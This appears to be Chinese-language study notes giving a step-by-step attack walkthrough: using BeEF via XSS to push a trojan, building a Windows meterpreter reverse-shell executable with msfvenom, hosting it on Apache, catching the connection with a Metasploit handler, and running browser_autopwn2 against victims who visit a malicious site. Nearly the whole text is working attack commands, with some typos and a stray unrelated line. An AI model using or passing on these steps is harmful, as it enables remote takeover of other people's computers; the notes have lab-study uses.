XSS - beef（使用）

beef（获取电脑权限）

1、命令行敲，进入beef界面
beef-xss

2、输入账号密码，beef、beef，然后在命令行敲，启动 apache2 服务
service apache2 start

beef - Firefox

msfvenom — 制作木马
1、先在命令行下载好payload；
msfvenom -p windows/meterpreter/reverse_tcp LHSOT=192.168.43.128 LPORT=4444 -f exe -o /root/Desktop/yucedu.exe
2、将下载好的payload移动到 html 下面；
mv /root/Desktop/yucedu.exe /var/www/html

3、进入 beef 中 firefox 的界面；
修改url：kaili IP地址和文件名（yucedu.exe）
Not：界面显示语句话语；

靶机浏览器界面上方会出现，下载按钮；

---

msfconsole — 监听（获取权限一）
1、先进入msf控制台
msfconsole
2、使用=进入
use exploit/multi/handler
3、设置payload（防止在前面设置的时候出现错误）
set payload windows/meterpreter/reverse_tcp
4、设置攻击机IP地址
set LHOST 192.168.43.128
5、设置攻击机端口号
set LPORT 4444
6、查看命令显示
show options
7、开启攻击
run / exploit

修改编码为GDB
mkdir mouse 进入桌面建立 mouse文档

---

攻击电脑权限（获取权限二）
1、查看回显；
search browser_auto
2、使用浏览器自动攻击的第二个版本；
use pwn2
3、查看配置参数
show options
4、设置IP地址
set srvhost kali的IP地址
5、设置端口
set
6、设置目录为根目录
set uripath /
7、查看配置情况
show options
8、设置IP地址
set IHOST kali的IP地址
9、查看配置情况（再次查看）
show options
10、开启攻击，开启监听
exploit

设置完成之后，等待受害者访问恶意站点，匹配合适的攻击模式进行攻击，获取受害着的电脑权限；
有时候会不稳定，跟版本有关；